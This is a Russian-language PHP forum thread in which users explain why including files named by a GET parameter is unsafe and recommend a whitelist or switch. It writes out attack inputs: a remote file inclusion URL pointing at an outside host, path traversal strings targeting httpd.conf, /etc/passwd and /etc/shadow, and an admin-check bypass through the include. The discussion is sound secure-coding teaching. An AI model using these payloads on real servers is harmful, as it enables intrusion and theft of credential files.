ФорумПрограммированиеPHP для идиотов → Помогите с правильной организацией структуры

Помогите с правильной организацией структуры

  • sap

    Сообщения: 2701 Репутация: N Группа: Кто попало

    Spritz Май 7, 2008, 4:12 д.п., спустя 2 часа 35 минут 54 секунды

    Ссылка: index.php?action=add. В коде: include ($_GET['action']."php");
    Меняем ссылку на index.php?action=http://myhost.com/hack и выполняем свой сценарий hack.php на удаленной тачке.
    Убедительно?

    P.S. Еще читать здесь http://pyha.ru/forum/topic/130.0
  • Ёлочник

    Сообщения: 25 Репутация: N Группа: Кто попало

    Spritz Май 7, 2008, 5:16 д.п., спустя 1 час 3 минуты 50 секунд

    ведь (повторюсь) путь к файлу указан уже. у хакера ничего не выйдет, будет попытка подключить файл "path/to/file/http://myhost.com/hack.php"
  • Timur

    Сообщения: 1068 Репутация: N Группа: Джедаи

    Spritz Май 7, 2008, 7:02 д.п., спустя 1 час 46 минут

    а если я вставлю, что-то типа: /../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf ? (если у тебя Денвер, попробуй)
    Т.о. можно запихнуть тебе в скрипт любой файл с твоего сервера.

    Никогда не передавай имя подключаемого файла в адресной строке. Вообще не передавай его никуда. Сделай какие-нибудь идетификаторы, типа: ?action=add, ?action=edit, а в сценарии уже проверяй их и подключай соответсвующие модули.
  • mechanic

    Сообщения: 125 Репутация: N Группа: Кто попало

    Spritz Май 7, 2008, 12:23 п.п., спустя 5 часов 21 минуту 14 секунд

    +1
    что то типа

    $modules = array(
    'edit' => 'edit.php',
    'delete' => 'delete.php'
    […]
    );
    include($modules[$_GET['action']]);


  • NRG

    Сообщения: 4761 Репутация: N Группа: в ухо

    Spritz Май 7, 2008, 1:24 п.п., спустя 1 час 34 секунды

    Timur,
    /../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf


    - банально =)

    лучше так
    /../../../../../../../../../../../../../../../etc/passwd

    или
    /../../../../../../../../../../../../../../../etc/shadow
  • Ёлочник

    Сообщения: 25 Репутация: N Группа: Кто попало

    Spritz Май 8, 2008, 2:03 д.п., спустя 12 часов 39 минут 32 секунды

    Нету таких файлов httpd.conf.php, passwd.php, shadow.php :)
  • sap

    Сообщения: 2701 Репутация: N Группа: Кто попало

    Spritz Май 8, 2008, 3:39 д.п., спустя 1 час 35 минут 47 секунд

    http://pyha.ru/forum/topic/130.msg1955#msg1955
    Внимательней почитай.
  • sap

    Сообщения: 2701 Репутация: N Группа: Кто попало

    Spritz Май 8, 2008, 3:43 д.п., спустя 4 минуты 8 секунд

    Кроме того, допустим все то же index.php?action=add, в коде: include ($_GET['action']."php");
    А в админке есть admin.php?action=delete&id=10 (include ("admin/".$_GET['action']."php");) — удаление десятой новости допустим, причем права на доступ в админку проверяются в admin.php.
    Дальше продолжать надо?

    И подобного может быть полно. По-моему, лучше один раз от этого свитчем обезопаситься, чем постоянно писать проверки.
  • Ёлочник

    Сообщения: 25 Репутация: N Группа: Кто попало

    Spritz Май 8, 2008, 4:44 д.п., спустя 1 час 36 секунд

    Спасибо за пояснения.

    В таком случае, мне кажется достаточно вырезать слэши из GET проблема исчезает. Так?
  • Timur

    Сообщения: 1068 Репутация: N Группа: Джедаи

    Spritz Май 8, 2008, 6:37 д.п., спустя 1 час 53 минуты 36 секунд

    Ёлочник, ну ё-моё :)
    А если я напишу ?action=fuck? Что тогда будет вставлено в сценарий? Ничего, будет ошибка. Всё равно надо проверять, существует ли такой файл перед инклудом.
  • Ёлочник

    Сообщения: 25 Репутация: N Группа: Кто попало

    Spritz Май 8, 2008, 7:04 д.п., спустя 27 минут 1 секунду

    Timur, вопрос не в наличии/отсутствии проверки, если в GET подставить существующий левый файл, то проверка не поможет. А проверку естественно нужно делать, она там кстати есть ;)
  • Trej Gun

    Сообщения: 5305 Репутация: N Группа: в ухо

    Spritz Май 8, 2008, 10:44 д.п., спустя 3 часа 40 минут 6 секунд

    я чтото создал тему и забыл.
    я сделал на файлах

    все ваши надуманные %00 и прочая лабуда это недостатки самого php. может кто то использует перл и знает там есть такой флаг -t он означает что нельзя использовать переменную во внешних запросах (ну то есть нельзя будет подключить файл с именем принятым из ГЕТ) до тех пор пока ее не проверят регулярным выражением. ну собственно и тут проверяем простой регуляркой и file_exist, и не надо никаких массивов конфигурации это очень потом мешает жить…
  • adw0rd

    Сообщения: 22959 Репутация: N Группа: в ухо

    Spritz Май 8, 2008, 11:03 д.п., спустя 18 минут 16 секунд

    CTAPbIu_MABP,
    все ваши надуманные %00 и прочая лабуда это недостатки самого php.
    так наши надуманные или недостатки PHP? Вы уж определитесь…
    https://smappi.org/ - платформа по созданию API на все случаи жизни
  • adw0rd

    Сообщения: 22959 Репутация: N Группа: в ухо

    Spritz Май 8, 2008, 11:06 д.п., спустя 2 минуты 54 секунды

    может кто то использует перл и знает там есть такой флаг -t он означает что нельзя использовать переменную во внешних запросах (ну то есть нельзя будет подключить файл с именем принятым из ГЕТ) до тех пор пока ее не проверят регулярным выражением.


    а если какой-либо переменной присвоить "имя принятое из ГЕТ", то можно будет "подключить файл"? Или обязательно регуляркой? Перл следит за этим?)
    https://smappi.org/ - платформа по созданию API на все случаи жизни
  • Trej Gun

    Сообщения: 5305 Репутация: N Группа: в ухо

    Spritz Май 8, 2008, 11:15 д.п., спустя 9 минут 40 секунд

    сори, недостатки пыхи

    он следит не за переменной а за значением

    насколько я понимаю там всеравно какая регулярка хоть .*

Пожалуйста, авторизуйтесь, чтобы написать комментарий!